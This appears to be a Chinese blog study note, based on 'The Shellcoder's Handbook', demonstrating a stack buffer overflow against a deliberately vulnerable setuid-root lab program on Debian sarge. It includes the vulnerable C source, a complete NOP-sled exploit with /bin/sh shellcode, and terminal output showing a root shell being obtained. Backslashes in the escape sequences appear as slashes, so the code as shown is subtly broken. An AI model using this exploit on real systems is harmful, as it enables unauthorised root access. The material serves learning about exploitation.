您的位置:首页 > 运维架构 > Shell

shellcode之二.Plus:victim漏洞提权实例

2011-01-22 15:09 232 查看
声明:主要内容来自《The Shellcoder's Handbook》,摘录重点作为笔记并加上个人的一些理解,如有错,请务必指出。

在<简述漏洞提权>中提到一个简单的程序victim攻击。由于之前我的系统是Debian/Etch,会故意变化栈的地址,当时未能按照书上做这个测试。后来装了sarge,遂进行这个实验,因为这个攻击实例非常有助于栈溢出的理解。

注:sarge的sources.list源非常少了,至少我找不到,我用的是DVD源。DVD下载地址:http://cdimage.debian.org/cdimage/archive/3.1_r8/i386/iso-dvd/

插入光盘后,运行以下命令,建立编译环境,开通telnet和nfs服务。

apt-cdrom add

apt-get update

apt-get install build-essential

apt-get install telnetd nfs-kernel-server nfs-common 

find esp

写个find_esp.c,用于输出程序栈地址:

sep@debian:~$ cd shellcode/
sep@debian:~/shellcode$ ls
exploit_victim find_esp hellworld shellcode victim
exploit_victim.c find_esp.c hellworld.c shellcode.c victim.c
sep@debian:~/shellcode$ cat find_esp.c
//file: find_esp.c

#include <stdio.h>

unsigned long find_esp()
{
__asm__("movl %esp, %eax");
}

int main()
{
printf("0x%x/n", find_esp());
}

sep@debian:~/shellcode$ ./find_esp
0xbffffb58
sep@debian:~/shellcode$ ./find_esp
0xbffffb58
sep@debian:~/shellcode$ ./find_esp
0xbffffb58
sep@debian:~/shellcode$

可以看到三次运行find_esp都返回一致的地址值。

victim漏洞

sep@debian:~/shellcode$ cat victim.c
//file: victim.c

#include <stdio.h>

int main(int argc, char *argv[])
{
char little_arr[512];
if (argc > 1)
strcpy(little_arr, argv[1]);
}

sep@debian:~/shellcode$ ls -l victim
-rwsr-sr-x 1 root sep 11395 2010-08-12 10:00 victim
sep@debian:~/shellcode$

注意victim.c中strcpy,程序从命令行获取输入后,在没有进行边界检查的情况下,把输入数据复制到数组,这给我们方便进行栈溢出。注:目标程序victim的属主已设为root,suid位打开,当攻击完成后,我们将会拥有根特权。

编写溢出攻击程序

之前有提及我们所面临的最困难的问题是找出shellcode的起始地址,只能根据esp地址进行猜测。我们用NOP法写一个EXP,如下:

//file: exploit_victim.c

#include <stdio.h>

#define DEFAULT_BUFFER_SIZE 512 //默认缓冲区大小,与victim.c缓冲区大小一致
#define NOP 0x90 //空操作指令OP码
#define NO_DEBUG

#ifdef NO_DEBUG
#define DPRINTF(a,...)
#else
#define DPRINTF printf
#endif

char shellcode[] = "/xeb/x1a/x5e/x31"
"/xc0/x88/x46/x07"
"/x8d/x1e/x89/x5e"
"/x08/x89/x46/x0c"
"/xb0/x0b/x89/xf3"
"/x8d/x4e/x08/x8d"
"/x56/x0c/xcd/x80"
"/xe8/xe1/xff/xff"
"/xff/x2f/x62/x69"
"/x6e/x2f/x73/x68";

//在sarge中,每个程序的栈都以同样的地址开始,根据这个地址可以猜测shellcode的起始地址
unsigned long find_esp()
{
__asm__("movl %esp, %eax");
}

void main(int argc, char *argv[])
{
char *buff, *ptr;
long *paddr, addr;
int bsize = DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (bsize < strlen(shellcode)) {
printf("Buffer size is too small./n");
exit(1);
}

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory./n");
exit(1);
}

addr = find_esp();
printf("Using address: 0x%08x/n", addr);

ptr = buff;
DPRINTF("/n/n");
DPRINTF("Fill buff with NOP:/n");
for (i = 0; i < (bsize/2 - strlen(shellcode)/2); i++) {
*(ptr++) = NOP;
if ((i%0x10) == 0) DPRINTF("/n");
DPRINTF("%02x ", *(long *)(ptr-1));
}

DPRINTF("/n/n");
DPRINTF("Fill buff with shellcode:/n");
for (i = 0; i < strlen(shellcode); i++) {
*(ptr++) = shellcode[i];
if ((i%0x10) == 0) DPRINTF("/n");
DPRINTF("%02x ", *(long *)(ptr-1));
}

DPRINTF("/n/n");
DPRINTF("Fill buff with ret address:/n");
for (i = 0; ptr < &buff[bsize-1]; ptr += 4, i++) {
*(long *)ptr = addr;
if ((i%0x8) == 0) DPRINTF("/n");
DPRINTF("%08x ", *(long *)ptr);
}
DPRINTF("/n/n");

buff[bsize - 1] = '/0';

memcpy(buff, "BUF=", 4);
putenv(buff);
system("/bin/bash");
}


测试结果:
sep@debian:~/shellcode$ gcc -o exploit_victim exploit_victim.c
exploit_victim.c: In function `main':
exploit_victim.c:45: warning: assignment makes pointer from integer without a cast
exploit_victim.c:33: warning: return type of `main' is not `int'
sep@debian:~/shellcode$ ./exploit_victim
Using address: 0xbffffb18
sep@debian:~/shellcode$ ./victim $BUF
sep@debian:~/shellcode$ ./exploit_victim 520
Using address: 0xbffff928
sep@debian:~/shellcode$ ./victim $BUF
sep@debian:~/shellcode$ ./exploit_victim 530
Using address: 0xbffff928
sep@debian:~/shellcode$ ./victim $BUF
Segmentation fault
sep@debian:~/shellcode$ ./exploit_victim 540
Using address: 0xbffff918
sep@debian:~/shellcode$ ./victim $BUF
Segmentation fault
sep@debian:~/shellcode$ ./exploit_victim 550
Using address: 0xbffff908
sep@debian:~/shellcode$ ./victim $BUF
Segmentation fault
sep@debian:~/shellcode$ ./exploit_victim 560
Using address: 0xbffff908
sep@debian:~/shellcode$ ./victim $BUF
sh-2.05b# id
uid=1000(sep) gid=1000(sep) euid=0(root) groups=1000(sep),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev)
sh-2.05b# exit
exit
sep@debian:~/shellcode$ ./exploit_victim 600
Using address: 0xbffff8f8
sep@debian:~/shellcode$ ./victim $BUF
sh-2.05b#
sh-2.05b# exit
exit
sep@debian:~/shellcode$
尝试多个地址后,成功拿到root特权。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: